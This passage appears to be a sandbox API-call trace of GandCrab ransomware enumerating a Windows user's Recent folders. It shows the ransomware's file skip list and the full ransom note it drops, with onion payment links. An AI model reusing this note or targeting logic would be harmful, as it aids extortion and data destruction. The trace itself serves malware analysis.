lpString2="f01b4d95cf55d32a.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms" [0054.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms") returned 126 [0054.852] lstrcmpW (lpString1=".automaticDestinations-ms", lpString2=".sql") returned -1 [0054.852] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.852] lstrcmpW (lpString1="fb3b0dbfee58fac8.automaticDestinations-ms", lpString2=".") returned 1 [0054.852] lstrcmpW (lpString1="fb3b0dbfee58fac8.automaticDestinations-ms", lpString2="..") returned 1 [0054.852] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="fb3b0dbfee58fac8.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms" [0054.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms") returned 126 [0054.852] lstrcmpW (lpString1=".automaticDestinations-ms", lpString2=".sql") returned -1 [0054.852] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0054.852] FindClose (in: hFindFile=0x5b85f0 | out: hFindFile=0x5b85f0) returned 1 [0054.853] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.853] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\\\GDCB-DECRYPT.txt") returned 102 [0054.853] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0054.853] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.853] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0054.854] CloseHandle (hObject=0x500) returned 1 [0054.854] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.854] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned 85 [0054.854] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*" [0054.854] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b85f0 [0054.854] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.854] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.854] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.854] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.854] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.854] lstrcmpW (lpString1="1bc9bbbe61f14501.automaticDestinations-ms", lpString2=".") returned 1 [0054.854] lstrcmpW (lpString1="1bc9bbbe61f14501.automaticDestinations-ms", lpString2="..") returned 1 [0054.854] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="1bc9bbbe61f14501.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms" [0054.854] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.854] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms") returned 126 [0054.854] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms") returned 126 [0054.854] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.855] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.855] lstrcmpW (lpString1="5f7b5f1e01b83767.automaticDestinations-ms", lpString2=".") returned 1 [0054.855] lstrcmpW (lpString1="5f7b5f1e01b83767.automaticDestinations-ms", lpString2="..") returned 1 [0054.855] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="5f7b5f1e01b83767.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms" [0054.855] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.855] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms") returned 126 [0054.855] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms") returned 126 [0054.855] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.855] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.855] lstrcmpW (lpString1="61ebb1e65cfcb8da.automaticDestinations-ms", lpString2=".") returned 1 [0054.855] lstrcmpW (lpString1="61ebb1e65cfcb8da.automaticDestinations-ms", lpString2="..") returned 1 [0054.855] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="61ebb1e65cfcb8da.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms" [0054.855] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.855] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms") returned 126 [0054.855] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms") returned 126 [0054.855] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.855] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.855] lstrcmpW (lpString1="6d2bac8f1edf6668.automaticDestinations-ms", lpString2=".") returned 1 [0054.855] lstrcmpW (lpString1="6d2bac8f1edf6668.automaticDestinations-ms", lpString2="..") returned 1 [0054.855] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="6d2bac8f1edf6668.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms" [0054.855] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.856] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms") returned 126 [0054.856] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms") returned 126 [0054.856] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.856] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.856] lstrcmpW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2=".") returned 1 [0054.856] lstrcmpW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2="..") returned 1 [0054.856] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="7e4dca80246863e3.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms" [0054.856] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.856] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms") returned 126 [0054.856] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms") returned 126 [0054.856] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.856] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.856] lstrcmpW (lpString1="969252ce11249fdd.automaticDestinations-ms", lpString2=".") returned 1 [0054.856] lstrcmpW (lpString1="969252ce11249fdd.automaticDestinations-ms", lpString2="..") returned 1 [0054.856] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="969252ce11249fdd.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\969252ce11249fdd.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\969252ce11249fdd.automaticDestinations-ms" [0054.856] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.856] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\969252ce11249fdd.automaticDestinations-ms") returned 126 [0054.856] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\969252ce11249fdd.automaticDestinations-ms") returned 126 [0054.856] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.857] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.857] lstrcmpW (lpString1="9cfafb05ce914942.automaticDestinations-ms", lpString2=".") returned 1 [0054.857] lstrcmpW (lpString1="9cfafb05ce914942.automaticDestinations-ms", lpString2="..") returned 1 [0054.857] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="9cfafb05ce914942.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms" [0054.857] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.857] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms") returned 126 [0054.857] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms") returned 126 [0054.857] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.857] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.857] lstrcmpW (lpString1="b8ab77100df80ab2.automaticDestinations-ms", lpString2=".") returned 1 [0054.857] lstrcmpW (lpString1="b8ab77100df80ab2.automaticDestinations-ms", lpString2="..") returned 1 [0054.857] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="b8ab77100df80ab2.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms" [0054.857] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.857] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms") returned 126 [0054.857] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms") returned 126 [0054.857] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.857] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.857] lstrcmpW (lpString1="d00655d2aa12ff6d.automaticDestinations-ms", lpString2=".") returned 1 [0054.857] lstrcmpW (lpString1="d00655d2aa12ff6d.automaticDestinations-ms", lpString2="..") returned 1 [0054.857] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="d00655d2aa12ff6d.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms" [0054.857] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.858] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms") returned 126 [0054.858] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms") returned 126 [0054.858] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.858] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.858] lstrcmpW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2=".") returned 1 [0054.858] lstrcmpW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2="..") returned 1 [0054.858] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="eb282ead62b4db87.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms" [0054.858] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.858] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms") returned 126 [0054.858] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms") returned 126 [0054.858] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.858] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.858] lstrcmpW (lpString1="f01b4d95cf55d32a.automaticDestinations-ms", lpString2=".") returned 1 [0054.858] lstrcmpW (lpString1="f01b4d95cf55d32a.automaticDestinations-ms", lpString2="..") returned 1 [0054.858] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="f01b4d95cf55d32a.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms" [0054.858] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.858] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms") returned 126 [0054.858] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms") returned 126 [0054.858] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.859] lstrcmpW (lpString1="fb3b0dbfee58fac8.automaticDestinations-ms", lpString2=".") returned 1 [0054.859] lstrcmpW (lpString1="fb3b0dbfee58fac8.automaticDestinations-ms", lpString2="..") returned 1 [0054.859] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="fb3b0dbfee58fac8.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms" [0054.859] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.859] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms") returned 126 [0054.859] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms") returned 126 [0054.859] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.859] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.859] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.859] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\GDCB-DECRYPT.txt" [0054.859] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.859] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\GDCB-DECRYPT.txt") returned 101 [0054.859] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\GDCB-DECRYPT.txt") returned 101 [0054.859] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\GDCB-DECRYPT.txt") returned 101 [0054.859] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\GDCB-DECRYPT.txt") returned 101 [0054.859] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.859] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.859] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.859] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.859] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.859] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.859] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.859] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.859] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.859] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0054.860] FindClose (in: hFindFile=0x5b85f0 | out: hFindFile=0x5b85f0) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.860] lstrcmpW (lpString1="aWlcbVjj2 N5W7gRzUu.lnk", lpString2=".") returned 1 [0054.860] lstrcmpW (lpString1="aWlcbVjj2 N5W7gRzUu.lnk", lpString2="..") returned 1 [0054.860] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="aWlcbVjj2 N5W7gRzUu.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aWlcbVjj2 N5W7gRzUu.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aWlcbVjj2 N5W7gRzUu.lnk" [0054.860] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.860] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: 